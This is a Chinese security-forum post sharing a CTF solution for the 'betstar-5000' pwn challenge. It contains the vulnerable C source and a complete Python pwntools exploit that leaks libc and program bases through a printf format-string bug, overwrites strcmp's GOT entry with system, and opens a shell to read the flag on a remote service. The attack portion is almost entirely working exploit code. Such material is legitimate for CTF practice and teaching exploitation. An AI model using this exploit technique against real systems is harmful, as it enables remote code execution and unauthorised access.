查看: 120|回复: 1

[Pwn] watevr_2019_pwn_betstar-5000

[复制链接]
发表于 2020-5-3 00:25:49 | 显示全部楼层 |阅读模式
源码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct{
        char * name;
        int points;
}Player;

void view_scores(Player *player_list, int pc){
        for(int i = 0; i < pc; i++){
                printf("Player %s currently has %d points.\n", player_list[i].name, player_list[i].points);
        }
}

void play_a_round(Player *player_list){
        int playerc = 0;
        int bet = 0;
        char playerc_char[5];
        char bet_char[5];
        char winner[64];
        fflush(stdout);
        printf("%s", "Amount of players playing this round: ");
        fgets(playerc_char, 5, stdin);
        playerc = atoi(playerc_char);
        printf("%s\n", "Each player makes a bet between 0 -> 100, the one who lands closest win the round!");
        int rng = rand() % 100 + 1;
        int lead_index = -1;
        int lead_number = 100;

        for(int i = 0; i < playerc; i++){
                printf("%s", player_list[i].name);
                printf("'s bet: ");
                bet = atoi((char *)fgets(bet_char, 5, stdin));
                if(abs(rng - bet) < lead_number){
                        lead_index = i;
                        lead_number = bet;
                        strcpy(winner, player_list[i].name);
                }
        }
        printf("%s", "And the winner is *drumroll*: ");
        printf(winner);
        player_list[lead_index].points += 1;
}

int menu(){
        int option = 0;
        char option_char[4];
        printf("\n%s\n", "1. Play a round");
        printf("%s\n", "2. View scores");
        printf("%s\n", "3. Add a latecommer");
        printf("%s\n", "4. Edit player name");
        printf("%s\n", "5. End the game");
        fflush(stdin);
        fflush(stdout);
        fgets(option_char, 4, stdin);
        option = atoi((char *)option_char);
        return option;
}

int main(){

        time_t t;
        srand((unsigned) time(&t));

        int hasAdded = 0;

        int playerc;
        char playerc_char[3];
        char acceptance[4];
        char change_index_char[3];
        int change_index_int;

        printf("%s\n", "Welcome to the ultimate betting service.");
        printf("%s", "Enter the amount of players: ");
        fgets(playerc_char, 3, stdin);
        playerc = atoi((char *)playerc_char);

        Player* player_list = malloc((playerc+6) * sizeof *player_list);

        for(int i = 0; i < playerc; i++){
                player_list[i].name = (char*)malloc(sizeof(char*));
                printf("%s", "Name: ");
                fgets(player_list[i].name, 10, stdin);
                strtok(player_list[i].name, "\n");
        }

        printf("%s", "Alright, now let's start!");
        while(1 == 1){
                int option = menu();
                switch(option){
                        default:
                                printf("%s\n", "I think you missed a key there");
                                break;
                        case 1:
                                play_a_round(player_list);
                                fflush(stdout);
                                break;
                        case 2:
                                view_scores(player_list, playerc);
                                break;
                        case 3:
                                if(hasAdded != 6){
                                        printf("%s\n", "Welcome new player!");
                                        printf("%s", "Please enter your name: ");
                                        player_list[playerc].name = (char*)malloc(sizeof(char*));
                                        fgets(player_list[playerc].name, 20, stdin);
                                        strtok(player_list[playerc].name, "\n");
                                        playerc++;
                                        hasAdded++;
                                }
                                else{
                                        printf("%s\n", "Ughh, stop it. I already added enought players for you. Stop bothering me");
                                }
                                break;
                        case 4:
                                printf("%s\n", "Which player index should i change: ");
                                fgets(change_index_char, 5, stdin);
                                change_index_int = atoi(change_index_char);
                                if(change_index_int >= 0 && change_index_int <= playerc){
                                        printf("Enter new name: ");
                                        fgets(player_list[change_index_int].name, 18, stdin);
                                        strtok(player_list[change_index_int].name, "\n");
                                }
                                break;
                        case 5:
                                printf("\n%s", "Accept defeat? [Y/N]: ");
                                fflush(stdout);
                                if(strcmp(fgets(acceptance, 3, stdin), "N\n") == 0){
                                        printf("%s\n", "Deal with it. >:)");
                                }
                                printf("%s\n", "Cya later!");
                                exit(0);
                                break;
                }
        }
}
exp:
#!/usr/bin/env python3
from pwn import *
import time
LOCAL = False

def writeup():
        '''
        The program has a format string vulnerablility when printing the winner of each round.
        We can leak the base of libc and watevr else we need with the original players.
        After that we add 2 players for the sole purpose to replace [email protected] with system.

        Libc version: i386-2.27

        1. Leak libc base
        2. Leak program base
        3. replace strcmp with system
        4. play a game and then answare "sh" to the Yes/No question
                -> get shell


        1 & 2:
                since there is a call to libc functions after the fromat string we can use that to leak libc
                dynamic analysis shows that %22$p leaks that address.
                there is also a address pointing inside the first segment at %22$p. we can use this to calculate the
                base offset of the program.
        3:
                *create 2 users,
                [strcmp_address + 2][%[system_addr[0]-4]x][%19$hn],
                [strcmp_address][%[system_addr[0]-4]x][%19$hn]
                *make both win one round
        4: get shell
        '''

intb = lambda a: int(str(a)[2:-1].replace("\\n", "").replace("\n", ""), 16)

def play_game(r, index_to_win, players):
        r.sendline("1") #play a game
        r.sendline(str(players))
        for i in range(players):
                if i != index_to_win:
                        r.sendline("150") #bet 150
                else:
                        r.sendline("99") #bet 99 to guarantee win
        r.recvuntil("And the winner is *drumroll*: ")
        time.sleep(0.1)
        try:
                result = str(r.recvline()).replace("\n", "")
        except:
                result = str(r.recvline()).replace("\n", "")
        return result

def leak_exit_shell(r):
        r.sendline("2") #two players are needed to begin with
        r.sendline("%22$p") #format string to leak libc
        r.sendline("%31$p") #format string to leak program base
        LIBC_BASE = hex(intb(play_game(r, 0, 1)) - 205685) #leak libc
        PROG_BASE = hex(intb(play_game(r, 1, 2)) - 2808) #leak program base
        print("libc base: " + str(LIBC_BASE))
        print("program base: " + str(PROG_BASE))
        EXIT_GOT = int(PROG_BASE, 16) + 0x254c
        SHELL = int(LIBC_BASE, 16) + 250368
        return EXIT_GOT, SHELL

def replace_strcmp_shell(r, strcmp, shell):
        system = str(hex(shell))[2:]
        system = [int(system[i:i+4], 16) for i in range(0, len(system), 4)]
        print("system: ", system[0], system[1])
        print("strcmp: " + str(p32(strcmp))[2:-1])
        r.sendline("3")
        username = str(p32(strcmp+2))[2:-1] + "%" + str(system[0]-4) + "x" + "%19$hn" #create user 1
        r.sendline(username)
        play_game(r, 2, 3)
        print(username)
        r.sendline("3")
        username = str(p32(strcmp))[2:-1] + "%" + str(system[1]-4) + "x" + "%19$hn" #create user 2
        r.sendline(username)
        print(username)
        play_game(r, 3, 4)
        print("done") #we have now replaced strcmp with system
        r.recv()

def get_shell(r):
        global LOCAL
        r.sendline("5") #exit game
        r.sendline("sh") #answare sh to Y/N
        if LOCAL:
                r.sendline("cat $PWD/container/flag.txt")
        else:
                r.sendline("ls")
                r.interactive()
                r.sendline("cat /home/ctf/flag.txt")
        time.sleep(2)
        msg = r.recv()
        print(msg)
        return msg

def solve(r):
        EXIT_GOT, SHELL = leak_exit_shell(r)
        print("Exit: " + str(hex(EXIT_GOT)))
        print("Shell:" + str(hex(SHELL)))
        replace_strcmp_shell(r, EXIT_GOT, SHELL)
        return get_shell(r)

def main(LOCAL):
        exit_code = 1
        flag = input("flag: ").replace("\n", "")
        ip, port = input("service: ").split(":")
        if LOCAL:
                context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
                r = gdb.debug("./kareoke32", '''
                file kareoke32
                continue
                ''')
                print(solve(r))
        else:
                for i in range(100):
                        try:
                                r = remote(str(ip), int(port))
                                ret = solve(r)
                                print(ret)
                                if str(flag) in str(ret):
                                        print("Correct")
                                        exit_code = 0
                                        break
                        except:
                                pass
                exit(exit_code)
main(LOCAL)


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

0

主题

141

帖子

0

精华

中级会员

Rank: 8Rank: 8

学币
363
荣耀
0
rank
0
违规
0

    发表于 2020-5-3 12:51:21 | 显示全部楼层
    资源很给力,请收下我的膝盖!
    快速回复 返回顶部 返回列表